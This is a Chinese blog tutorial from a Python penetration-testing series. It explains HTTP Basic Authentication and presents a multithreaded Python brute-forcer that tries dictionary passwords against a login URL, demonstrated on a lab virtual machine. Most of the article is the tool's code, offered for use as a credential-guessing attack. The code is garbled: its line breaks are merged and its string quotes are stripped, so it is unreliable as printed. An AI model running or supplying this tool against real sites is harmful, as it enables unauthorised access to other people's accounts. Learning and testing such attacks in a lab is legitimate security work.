如何使用Python進行密碼暴力測試?
文章首發個人博客:http://zmister.com/archives/192.html
相關文章:
利用Python進行Web滲透測試(七):用Python編寫一個資源暴力探測工具
利用Python進行Web滲透測試(八):改進暴力探測器的顯示結果和新功能
利用Python進行Web滲透測試(九):添加滲透測試探測器結果截圖
本篇將會涉及:
- HTTP 基本認證
- 對HTTP Basic認證進行密碼暴力攻擊測試
什麼是HTTP 基本認證
HTTP基本認證(HTTP Basic Authentication)是HTTP協議中實現Web資源訪問控制的最簡單的認證手段。其通過添加header頭域的方式或者在URL中附帶參數的方式提供認證信息,並通過Base64編碼將認證信息進行編碼傳輸,最後由伺服器接收到編碼後的字元進行解碼認證。
當我們訪問一個需要進行HTTP基本認證的網址時,其會通過響應一個401狀態碼,並返回一個認證框來接收用戶輸入的認證信息。如果我們填錯,伺服器會繼續返回一個401狀態碼和認證框,如果認證成功,則返回200請求成功狀態碼。
HTTP基本認證一個優點是幾乎所有的現代瀏覽器都支持這種認證方式,非常的簡單方便,但是由於其技術特性,這種認證方式並不是很安全,現在亦多存在於內網環境下的站點。
其採用的Base64編碼加密,也是屬於「防君子不防小人」的加密。利用Python的base64模塊,我們就能夠輕鬆的進行加密和解密:
import base64# 原始字元串a = admin123# base64編碼加密b = base64.b64encode(a.encode(utf-8))print(str(b,utf-8))# base64編碼解密c = str(b,utf-8)d = base64.b64decode(c)print(str(d,utf-8))
返回的結果為:
YWRtaW4xMjM=admin123
是不是感覺很坑爹,嗯,就是的。^_^
編寫Python密碼暴力測試器
了解了HTTP基本認證的一些概念,下面我們繼續使用Python編寫一個滲透測試密碼暴力破解器。
照常,我們引入相關的模塊
# coding:utf-8import requestsimport sysimport getoptimport timefrom termcolor import coloredfrom threading import Thread
相關模塊的功能,在上一篇編寫資源探測器的文章中已經提及,忘記了的可以前往博客閱讀:http://zmister.com/archives/180.html、http://zmister.com/archives/181.html
由於字典中的條目會有很多,所以我們設置一個全局變數,用來標識字典中的密碼是否有效:
global validvalid = 1
然後照例我們定義一個橫幅函數,裝飾我們的單調的命令行:
# 程序標識def banner(): print("
********************") name = ______ _ _ |___ / (_) | | / / _ __ ___ _ ___| |_ ___ _ __ / / | _ ` _ | / __| __/ _ __| / /__| | | | | | \__ || __/ | /_____|_| |_| |_|_|___/\__\___|_| print(name) print("州的先生-密碼暴力測試器 v1.0") print("***********************")
接著,仍然是程序的使用參數方法示例:
# 程序用法def usage(): print("州的先生密碼暴力測試器使用方法:") print(" -w:網址 (http://wensite.com/admin)") print(" -u:用戶名") print(" -t:線程數") print(" -f:字典文件") print("例子:bruteforcer.py -w http://zmister.com/admin -u admin -t 5 -f commom.txt")
接著就是我們的主類request_performer():
class request_performer(Thread): def __init__(self,name,user,url): Thread.__init__(self) try: self.password = name.split("
")[0] self.username = user self.url = url except Exception as e: print(e) def run(self): global valid if valid == 1: try: r = requests.get(self.url,auth=(self.username,self.password)) if r.status_code == 200: valid = 0 print("[+]發現密碼:"+ colored(self.password,green)) sys.exit() else: print("無效的密碼:"+ self.password) i[0] = i[0] - 1 except Exception as e: print(e)
最後是啟動線程的函數launcher_thread()和啟動程序的函數start():
def start(argv): banner() if len(sys.argv) < 5: usage() sys.exit() try: opts, args = getopt.getopt(argv, "u:w:f:t:") except getopt.GetoptError: print("錯誤的參數") sys.exit() for opt, args in opts: if opt == -u: user = args elif opt == -w: url = args elif opt == -f: dicts = args elif opt == -t: threads = args try: f = open(dicts, r) passwords = f.readlines() except: print("打開文件錯誤:", dicts, "
") sys.exit() launcher_thread(passwords,threads,user,url)def launcher_thread(passwords,th,username,url): global i i = [] print("==============================================") i.append(0) while len(passwords): if valid == 1: try: if i[0] < int(th): passwd = passwords.pop(0) i[0] = i[0]+1 thread = request_performer(passwd,username,url) thread.start() except KeyboardInterrupt: print("用戶停止了程序運行。完成探測") sys.exit() thread.join() return True
最後,我們依然使用虛擬機中的http://www.scruffybank.com/作為靶機,對http://www.scruffybank.com/Admin 的admin用戶進行密碼攻擊測試,以一個弱口令文件作為字典:
在命令行終端運行命令:
python passBruteForcer.py -w http://www.scruffybank.com/Admin -u admin -t 5 -f pass.txt
結果顯示發現了一個密碼「administrator」
我們打開http://www.scruffybank.com/Admin,使用用戶名admin和密碼administrator登錄,看看能否成功登錄。
結果認證成功進入了一個目錄內,說明我們的弱口令密碼暴力測試成功了。
下一篇,我們將改進我們的密碼暴力測試器,讓其支持更加安全的認證方式——HTTP摘要認證。
敬請期待!推薦閱讀:
※各大SSL/TLS庫的質量都怎麼樣?
※IE瀏覽器不停彈出「當前頁面腳本發生錯誤」怎麼解決?
※未來安全公司會消亡嗎?為什麼?
※2016網路攻擊前所未有 2017或許沒有那麼糟糕